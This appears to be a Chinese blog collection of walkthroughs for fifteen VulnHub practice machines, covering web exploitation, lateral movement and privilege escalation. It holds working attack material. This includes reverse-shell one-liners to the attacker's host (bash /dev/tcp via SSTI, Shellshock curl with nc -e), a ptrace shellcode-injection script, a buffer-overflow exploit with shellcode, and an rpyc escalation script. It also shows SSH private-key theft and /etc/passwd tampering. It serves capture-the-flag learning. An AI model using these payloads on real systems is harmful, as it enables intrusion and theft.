vulnhub靶機合集


點擊標題即可進入對應靶機下載地址

1. medium_socnet

  1. 掃描發現5000端口的web頁面和后台admin頁面
  2. python代碼執行一個反彈shell獲得webshell而且是root權限,發現是在docker容器內部(cat /proc/1/cgroup查看初始進程id號發現有docker證明一定處於docker容器內部)
  3. for i in $(seq 1 10); do ping -c 1 172.17.0.$i;done 掃描內網存活ip
  4. 用venom進行內網穿透將該docker機映射到kai,然后掛上socket5代理,使用proxychains進行代理,就可以使用nmap等工具對內網進行探測
  5. 探測發現內網的172.17.0.1就是192.168.29.128也就是目標主機的內網ip,而172.17.0.2開放了9200端口,運行着有漏洞的服務
  6. searchsploit查找172.17.0.2主機漏洞服務的exp獲得該主機root權限,在根目錄發現password文件,用獲得的密碼MD5解密后ssh連接192.168.29.128目標主機
  7. 發現主機linux內核為低版本,采用內核提權(因為目標主機沒有gcc命令而exp中有需要使用gcc命令的語句,所以對exp進行修整,具體操作為刪減exp中用gcc編譯的代碼,將需要編譯的文件在本地編譯成.so后和exp一起傳到目標主機)

ps:中等難度,因為處於docker容器內而需要注意對於內網的信息收集和探測

2.easy_cloudantivirus

(vnware中該靶機獲取不到ip,需要修改配置文件中的網卡)

  1. 掃描發現開放了22端口和8080端口
  2. 在8080端口的web頁面通過sql注入或者爆破進入后台
  3. 在后台利用python反彈shell或者nc串聯的方式反彈獲取webshell
  4. 信息收集發現.sql文件是sqllite的數據庫文件,其中有password,經過對目標主機22端口的爆破(用/etc/passwd下的用戶名)發現密碼不對
  5. 繼續信息收集發現有update_cloudav(擁有SUID權限且所有者是root)可執行文件和它的源碼.c文件
  6. 對.c源碼進行審計后發現只是簡單加了個參數后的程序調用,采用SUID提權(利用命令注入的方式,通過nc串聯反彈獲取有root權限的shell)

ps:nc 192.168.29.128 4444 | /bin/bash | nc 192.168.29.128 7777nc的串聯,適用於nc沒有-e參數的場景),簡單難度

3. Chronos

(該靶機vnware無法啟動,用作者推薦的virtualbox)

  1. 掃描發現開放22、80、8000端口
  2. 訪問80端口的web服務,在頁面源碼獲取到一段js代碼,查看發現包含了一段URL,域名為chronos.local,修改hosts文件將域名映射到本地主機ip上
  3. 再次進入80端口web頁面發現頁面有所改變,出現了一段當前系統時間的字符,抓包獲得一段用base58加密的參數,將參數解密后發現是可以在linux上執行的命令參數(data '+Today is %A, %B %d, %Y %H:%M:%S.'可以直接執行)
  4. 利用命令注入,提交一段base58加密的反彈shell(用&&或者其他連接符,連接這段命令,這里可以用nc的串聯)
  5. 獲取到webshell后發現用戶imera的目錄下有user.txt文件但是現在是www-data權限打不開
  6. 進行代碼審計發現chronos其他漏洞,而chronos-v2中使用的組件express-fileupload存在漏洞原型污染,這個是難點,這篇博客有詳細解釋和exp),利用該漏洞獲得imera用戶權限
  7. 查看user.txt發現第一枚flag
  8. sudo -l發現有可以無需密碼執行的npm和node命令,利用node命令進行sudo提權sudo node -e 'child_process.spawn("/bin/bash",{stdio: [0,1,2]})',獲得root權限進入/root目錄查看第二枚flag,root.txt

ps:中等難度,難在找到第二個只在本地上運行的服務漏洞,推薦一個工具網站https://gchq.github.io/CyberChef,主要是magic模塊自動解密比較方便

4. AdmX_new

  1. 掃描發現只打開了80端口
  2. 訪問80端口的web服務,沒有特殊信息,目錄掃描發現wordpress相關目錄
  3. 進入/wordpress目錄發現加載十分緩慢,burp抓包查看發現該頁面的源代碼中硬編碼寫死了一些對192.168.159.145上資源的訪問(而實際沒有這個ip的主機,所以這就是頁面加載十分緩慢也樣式特效等沒有加載出來的原因),可以使用burp的自動替換功能,具體方式為:先進入option->Match and Replace,然后把原本默認的一些規則刪除,添加響應頭和響應體的替換規則,將192.168.159.145替換為靶機ip,重新訪問就會正常加載資源了
  4. 進入wordpress默認后台目錄,也就是/wp-admin用默認用戶名admin進行密碼爆破,得到密碼adam14
  5. 進入后台插件管理模塊,上傳一個自制webshell插件,插件只需要在php代碼前按要求加上插件名字的注釋,然后壓縮成zip格式就可以上傳了
  6. 訪問插件目錄/wordpress/wp-content/plugins/shell.php,獲取反彈shell
  7. 查看/etc/passwd發現有wpadmin用戶,su wpadmin用網站后台密碼adam14切換成該用戶,在/home/wpadmin/local.txt獲得第一枚flag
  8. sudo -l發現可以root權限運行mysql,sudo mysql -u root -D wordpress -p進入mysql,正常情況下也可以查看wp-config.php文件里面有數據庫賬號和密碼,然后在mysql中運行system /bin/bash即可獲取mysql的shell權限也就是root權限,提權成功,查看/root/proof.txt獲取第二枚flag

ps:中等難度

5. hard_socnet

  1. 掃描發現開啟了22,80,8000端口
  2. 訪問80端口發現一個登錄頁面,注冊賬號登錄后進入個人主頁面,在頭像圖片上傳處存在文件上傳漏洞,可直接上傳php的webshell並通過圖片url地址連接
  3. 頂部search欄存在SQL注入漏洞,抓包sqlmap可以跑出admin和其他用戶的的賬號密碼,但是進入別的賬號並沒有其他有用信息
  4. 第一種提權方式,利用CVE-2021-3493,只需要下載網上的exp編譯運行就可以直接提權成root,但是在靶機推出的時候是沒有這個CVE漏洞的
  5. 原本的提權方式,利用monitor.py中的漏洞命令執行代碼獲得socnet的權限
  6. 逆向並動態調試add_record程序,查看匯編源碼發現程序中存在自身有漏洞的vuln函數和backdoor函數
  7. payload:
    python -c "import struct; print('aa\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" > payload
    cat payload - > ./add_record

ps:該靶機本來屬於高難度靶機,但是因為有CVE-2021-3493的原因可以使提權變得簡單,而本來的提權方式正好就是這台靶機的難點,有大量的逆向匯編代碼動態調試分析過程,這里就沒有細細寫明了

6. EvilBox---One

  1. 掃描發現打開的80端口和22端口
  2. 訪問80端口的web服務沒有任何顯示,目錄掃描發現/secret目錄,對該目錄再次進行下一級掃描發現evil.php
  3. 進入頁面發現還是沒有任何信息顯示,ffuf對該url進行參數爆破(普通的param=value的方式失敗了,但是用文件包含的思路爆破param=../index.html發現可以成功),發現文件包含漏洞參數為command
  4. 利用文件包含漏洞+php://filter獲取到evil.php源碼,看到了文件包含的代碼
  5. 查看/etc/passwd發現存在mowree用戶,且使用ssh mowree@192.168.29.128 -v從返回的信息中發現Authentications that can continue: publickey,password,意思是允許公鑰或密碼的方式登錄
  6. 文件包含?command=../../../../../../../home/mowree/.ssh/authorized_keys,發現存在公鑰,信息中說明了允許登錄的用戶就是mowree,於是?command=../../../../../../../home/mowree/.ssh/id_rsa獲取私鑰(查看源碼並copy以保證私鑰格式不亂),私鑰本地保存,登錄時發現私鑰還有一道密碼
  7. 利用john對私鑰加密密碼爆破(運行前用john自帶的ssh2john.py腳本將id_rsa轉變成john識別的格式),破解出密碼為unicorn
  8. ssh登錄mowree用戶后獲得/user.txt第一枚flag,然后發現/etc/passwd文件是所有用戶可寫的
  9. 直接openssl passwd -1加密一個123,把加密內容直接替換/etc/passwd下的root用戶密碼位,su后在/root/root.txt獲得第二枚flag

ps:中等難度,其中有大量的需要爆破的環節,推薦seclists字典,可以github下載或apt install seclists

7.Hacker_Kid-v1.0.1

  1. 信息收集發現開啟了53,80,9999端口,且9999端口運行着Tornado服務
  2. 打開80端口給了一個提示信息DIG,有可能進一步的滲透和DNS有關,查看源代碼給了一個page_no參數的提示
  3. 進行?page_on=1的參數爆破,發現page_on=21時頁面回顯有信息提示,給了一個域名 hackers.blackhat.local,在hosts文件做一個域名和靶機ip的映射,但是發現映射后訪問該域名,主頁內容還是沒有變
  4. 用工具dig axfr @192.168.29.136 blackhat.local 對DNS信息收集,獲得了SOA記錄的另一個子域名hackerkid.blackhat.local,同樣作ip-域名映射后訪問域名發現是一個注冊頁面
  5. 對該注冊頁面抓包發現xxe漏洞,先查看/etc/passwd發現有saket用戶,結合偽協議進行信息收集php://filter/read=convert.base64-encode/resource=/home/saket/.bashrc,查看內容發現一串密碼Saket!#$%@!!,結合9999端口是一個登錄頁面,用該密碼可以直接登陸,但是用戶名還是saket並不是admin
  6. 登錄后發現提示可能有name變量名,提交一個?name=123參數發現可以在頁面回顯出來123,結合9999端口因為是Tornado服務,提交{{2*2}}發現SSTI漏洞,編寫一段url編碼特殊符號后的payload獲得saket用戶的反彈shell,
    代碼:%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.29.128/4444%200%3E%261%22%27%29%7D%7D
  7. capabilities提權getcap -r / 2>/dev/null發現python2.7被賦予的cap_sys_ptrace,可以調試掛接到系統已存在進程的特殊權限,利用該權限和網上搜尋的python進程注入腳本注入到一個root賬號的進程中(先ps -aef | grep root選擇一個root進程,python2.7 inject.py 端口實現注入,查看5600端口是否有服務啟動,有的話代表成功,直接nc連接5600端口即可),即可獲得root權限、

ps:中等難度,進程注入腳本inject.py:

點擊查看代碼
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

8.Y0usef

  1. 信息收集開啟了22,80端口
  2. 訪問80端口無其他信息,目錄掃描發現/adminstration目錄,訪問返回403,在請求頭添加X-Forwarded-For:127.0.0.1頭部進行403繞過限制
  3. 繞過后出現一個登錄頁面,輸入弱口令admin:admin登陸成功
  4. 發現文件上傳點,上傳一句話shell.php,修改 mine文件類型為image/png,上傳成功,獲取反彈shell
  5. 在/home目錄發現user.txt文件,打開發現是yousef用戶的用戶名和密碼,切換成yousef用戶,sudo -l發現有所有命令的sudo權限
  6. 直接sudo -s提權為root,進入/root拿到第二個flag

ps:難度屬於十分簡單

9.Vkings

  1. 信息收集開啟了22,80端口
  2. 訪問80端口web頁面,路徑掃描得到/site/war.txt,進入又得到/war-is-over路徑,訪問得到一串編碼
  3. 先base64解碼得到一串亂碼字符,用CyberChef的Entropy模塊計算一下熵接近於8,應該是個壓縮文件,將base64解密后的亂碼保存為一個zip文件
  4. 解壓發現需要密碼,使用john爆破rockyou.txt作為字典得到密碼ragnarok123,解壓縮后是一張圖片,binwalk分離出一個文本文件user,查看后嘗試用里面的信息ssh登錄目標靶機,最后發現用戶名密碼是floki:f@m0usboatbuilde7
  5. 登錄后在查看/etc/passwd發現還有一個用戶ragnar,且在當前目錄有兩個文件,根據提示信息是要找到第29個素數並進行科拉茨猜想(一個數是奇數就*3+1,是偶數就/2),將科拉茨猜想得到的一串結果保存為一串數組,然后將其中的可打印且在ascii范圍(<256)內的字符篩選出來得到一串密文mR)|>^/Gky[gz=.F#j5P( ,用密文登錄ragnar賬號
  6. 登錄后就發現自動執行了一個sudo的命令,查看~/.profile文件發現執行的是sudo python3 /usr/local/bin/rpyc_classic.py這條命令
  7. 閱讀rpyc_classic.py源碼結合查看rpyc官方文檔,分析發現可以通過客戶端提交請求發到服務端,讓服務端執行請求內容,自己編寫一段exp.py,里面執行一段將該ragnar賬號加入到sudo組的命令,運行exp.py后再次登錄ragnar賬號發現已有提示說可以用sudo執行命令了,直接sudo -s提權成功,在/root拿到flag

ps:難度中等,附exp.py:

點擊查看代碼
import rpyc
def shell():
    import os
    os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)
fn()

10.hacksudo - Thor

  1. 信息收集發現開啟了21,22,80端口
  2. 進入80端口的web頁面,查看源碼發現有個cgi-bin的提示,訪問/cgi-bin目錄發現存在但是是禁止訪問狀態
  3. 目錄掃描得到一個README.md文件和/admin_login.php目錄
  4. 打開README.md發現該網站的源碼及其他信息都是托管在github上的,在上面看到了默認管理員賬號密碼,用該密碼登錄admin_login.php的后台登錄頁面
  5. 進入后發現沒有什么可以獲取到shell的漏洞,只有一些sql注入及邏輯漏洞
  6. 對/cgi-bin目錄進行目錄掃描得到shell.php和backup.cgi,nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 10.0.2.7掃描
  7. 后發現存在破殼漏洞
  8. 用破殼漏洞的exp,curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 10.0.2.4 4444'" http://10.0.2.7/cgi-bin/shell.sh 獲取反彈shell
  9. 獲得shell后sudo -l查看發現可以以thor身份無密碼執行/home/thor/./hammer.sh,執行sudo -u thor /home/thor/./hammer.sh,測試輸入兩條信息后發現第二條輸入的信息會被當做命令執行,所以第二個信息輸入點輸入/bin/bash成功獲取到thor權限
  10. sudo -l發現可以無密碼以root身份執行cat和service,使用service提權,執行sudo service ../../bin/bash (GTFObins提權,https://gtfobins.github.io/# 搜索service),成功獲取root權限
    ps:中等難度,GTFOBins:https://gtfobins.github.io,滲透提權利器,可以查看有命令權限配置不當的話如何提權

11.Billu_b0x

  1. 信息收集發現開啟了80端口和22端口
  2. 進入80端口發現提示有sql注入漏洞,常規sql測試均失敗,跑sql注入payload字典發現un=or 1=1#&ps=\可以成功登錄進入后台
  3. 進入后發現一個文件上傳點,上傳有后綴名,和文件內容頭部檢查,修改后綴為png,在上傳的php反彈木馬前加上GIF89a;頭部,上傳成功
  4. 目錄掃描發現add和show等路徑,進入add發現就是一個文件上傳處一樣的提交表單,同時在/panel.php頁面的參數中發現有參數load=add或load=show,所以該處是一處文件包含漏洞,將load參數改為包含上傳的php反彈木馬路徑,就可以包含成功,獲得反彈shell
  5. 獲取反彈shell后查看linux版本發現是低版本,采用內核提權(kali里的linux/local/37292.c)在靶機編譯執行后即可獲取root權限

發現的其他漏洞:

  1. 路徑掃描是同時也發現了test.php文件,測試發現是一個任意文件下載漏洞
  2. 利用該任意文件下載漏洞直接下載index.php進行代碼白盒審計突破sql注入
  3. 也可以利用發現的c.php文件源代碼中的數據庫賬號和密碼登錄路徑/phpmy的頁面,在auth數據庫發現該網站登錄的賬號和密碼
  4. 再掃描/phpmy的子路徑,發現了config.inc.php文件,利用任意文件下載漏洞查看發現一個root:roottoor的賬號密碼,利用該密碼直接ssh登錄root

ps:偏簡單難度的靶機,有很多的漏洞可以利用,可能除了上述還有很多可以挖掘

12.Fawkes

  1. 基本信息收集過后,在21端口的ftp服務可以get下載一個可執行文件,執行后會在9898端口起一個服務,而且與靶機9898端口運行的服務一樣
  2. 測試該可執行文件有無緩存區溢出漏洞,關閉kali中的alsr功能(aslr是一種針對緩沖區溢出的安全保護技術,會讓程序內次啟動內存地址隨機化),方便后續本地動態調試可執行文件,找到緩存區溢出漏洞,/proc/sys/kernel/randomize_va_space改成0
  3. 動態調試工具(帶界面):edb-debugger,測試后發現存在緩存區溢出,輸入的數據從112字節之后的四個字節進入EIP寄存器,后面的進入ESP寄存器,將EIP寄存器內容指定為該程序中的一個jmp esp指令地址,然后ESP寄存器放入反彈shell指令(可以用edb-debugger的插件查找程序中指令地址)
  4. 二進制反彈shellpayload生成:msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.130 LPORT=4444 -b "\x00" -f py,編寫exp.py拼接payload,連接靶機9898端口,發送payload,獲得反彈shell,目錄下獲得harry的ssh登錄密碼HarrYp0tter@Hogwarts123,登錄靶機2222端口
  5. 登錄后信息收集發現在docker容器環境內,sudo -l發現可以sudo直接提權,sudo -s成為root在在/root目錄獲得一枚flag和提示信息,提示要分析ftp流量
  6. tcpdump -i eth0 port 21,等2分鍾在流量包中發現的ftp登錄的信息,獲得明文登錄賬號密碼neville:bL!Bsg3k,用該賬號登錄靶機22端口后,正式獲取到靶機的shell,獲得第二枚flag
  7. 提權使用cve-2021-3156關於堆溢出的漏洞(exp鏈接:https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py, 需要修改文件中的sudo路徑,因為靶機中的sudo路徑是在/usr/local/bin/sudo),提權成功后在/root下獲得第三枚flag

ps:高難度靶機,和web基本沒什么關系(當然80端口也是放了張圖片的),難在利用緩存區溢出漏洞和怎么提權,附緩存區漏洞利用代碼exp.py:

點擊查看代碼
#!/usr/bin/python
import sys,socket

buf =  b""
buf += b"\xdb\xc3\xba\x05\xe2\xcb\xee\xd9\x74\x24\xf4\x5e\x33"
buf += b"\xc9\xb1\x12\x31\x56\x17\x83\xc6\x04\x03\x53\xf1\x29"
buf += b"\x1b\x6a\x2e\x5a\x07\xdf\x93\xf6\xa2\xdd\x9a\x18\x82"
buf += b"\x87\x51\x5a\x70\x1e\xda\x64\xba\x20\x53\xe2\xbd\x48"
buf += b"\xa4\xbc\x3f\x0a\x4c\xbf\x3f\x1b\xd1\x36\xde\xab\x8f"
buf += b"\x18\x70\x98\xfc\x9a\xfb\xff\xce\x1d\xa9\x97\xbe\x32"
buf += b"\x3d\x0f\x57\x62\xee\xad\xce\xf5\x13\x63\x42\x8f\x35"
buf += b"\x33\x6f\x42\x35"

payload = 'A'*112 + '\x55\x9d\x04\x08' + '\x90'*32 + buf
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect('192.168.1.135',9898)
    s.send(payload)
    s.close()
except:
    print("wrong!")
    sys.exit()

13.Doubletrouble

  1. 進入80端口的web頁面信息收集后發現該web應用的CMS dbqM9.1有遠程RCE漏洞(CVE-2020-7246),不過需要先登錄
  2. 路徑掃描得到一張圖片,用steghide發現有隱藏文件但是需要密碼,使用stegseek工具通過rockyou.txt自編爆破該隱寫圖片密碼,得到密碼92camaro,得到隱寫的文件,里面是一串賬號密碼otisrush@localhost.com/otis666
  3. 用的到的賬號密碼登錄系統,然后使用搜索得到的遠程RCE的exp(/php/webapps/50175.py)直接獲取一個反彈shell
  4. sudo -l發現可以直接提權,sudo -s提權后進入/root目錄獲得第二台靶機ova文件
  5. 下載打開端口掃描后進入web頁面,是一個登錄框,sqlmap直接跑出時間盲注,獲得兩對賬號密碼
  6. 嘗試后發現有一對可以ssh登錄第二個靶機,登錄后uname -a發現該靶機可以臟牛提權,下載exp(https://gitcode.net/mirrors/FireFart/dirtycow/-/blob/master/dirty.c),編譯運行后按步驟即可提權

14.Nagini

  1. 進入80端口的web頁面沒有有效信息,路徑掃描發現cms使用的joomla
  2. 換seclists中較大的字典發現了note.txt,閱讀發現一個域名https://quic.nagini.hogwarts而且使用的是http3
  3. 修改hosts將域名和靶機ip綁定,然后使用特定的客戶端工具(能支持http3)訪問域名,得到提示信息可能有備份文件和一個路徑/internalResourceFeTcher.php
  4. 通過備份文件泄露的信息,訪問joomla配置文件/configuration.php,得到了網站數據庫的賬號密碼
  5. /internalResourceFeTcher.php路徑進入后發現存在ssrf漏洞,這時可以利用gopher協議操作數據庫,借助工具Gopherus對數據數據查詢最后的得到網站管理員賬號密碼(數據庫中密碼加密存放,可以直接update修改管理員密碼比較便捷,MD5格式存放)
  6. 登錄后台后找到模板文件修改index.php內容為php的反彈shell,然后訪問獲得反彈shell
  7. 在網站根目錄獲得第一枚flag,進入/home/snape,發現了snape用戶的密碼,切換成snape用戶
  8. 進入hermoine用戶主目錄發現bin目錄下有可執行文件且有SUID權限,突破思路是在本機生成ssh密鑰對,公鑰scp到snape用戶目錄,然后用該可執行程序./su_cp /home/snape/id_rsa.pub /home/hermoine/.ssh,copy公鑰到.ssh文件中,然后改名authorized_keys,本機直接ssh登錄hermoine用戶
  9. 在hermoine用戶主目錄獲得第二枚flag,同時發現存在.mozilla文件,用工具firefox_decrypt做firefox瀏覽器密碼還原得到root密碼為@Alohomora#123
  10. ssh登錄,root目錄取得第三位flag

ps:中高難度
firefox_decrypt:https://github.com/unode/firefox_decrypt,
Gopherus:https://github.com/tarunkant/Gopherus

15.Ripper

  1. 掃描發現開啟了80,22和10000端口,進入80端口時apache頁面,進入10000端口發現是webmin登錄頁面
  2. 掃描10000端口的目錄發現robots.txt,打開發現base64編碼的提示信息,提示使用rips
  3. 進入80端口的/rips目錄發現有rips服務,利用rips掃描/var/www路徑最終得到信息 /var/www/html/rips/secret.php中有一串賬號密碼ripper:Gamespeopleplay
  4. 利用該賬號密碼以ripper身份ssh登錄目標靶機,在主目錄獲得第一個flag,然后lsb_release -a查看發現是ubuntu18.04版本,嘗試使用之前打把使用過的CVE-2021-3493,發現可以成功提權到root,在root目錄獲得第二個flag

靶機發布時沒有這個CVE,原解法如下:

  1. 查看home發現還有一個cubes用戶
  2. find / -user cubes -type f -exec ls -la {} \; 2>/dev/null,找到屬主為cubes的文件並列出當前用戶對該文件的權限,為了找到當前用戶可讀但屬於cubes的文件,發現了/mnt/secret.file文件,打開獲得cubes用戶的密碼 Il00tpeople
  3. 切換到cubes用戶,在/var/webmin/backup發信備份日志文件,在身份認證條目查找到了webmin的賬號密碼admin:tokiohotel
  4. 登錄10000端口的webmin后台,打開others的command shell即可獲得一個root權限的交互式網頁端的shell(因為查看日志也可以發現webmin是在/root目錄下啟動的,獲得的這個shell是root權限也不奇怪),也可以利用msf的webmin漏洞(也需要賬號密碼)獲得rootshell

ps:難度,低


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM